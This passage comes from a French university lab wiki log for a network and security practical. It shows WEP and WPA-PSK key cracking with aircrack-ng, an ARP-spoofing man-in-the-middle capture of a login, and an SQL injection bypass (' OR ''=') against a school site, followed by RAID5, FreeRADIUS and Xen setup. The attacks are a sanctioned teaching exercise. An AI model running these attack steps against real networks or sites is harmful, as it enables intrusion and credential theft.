Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54699</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54699"/>
				<updated>2020-12-15T14:03:53Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Configuration de la VM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
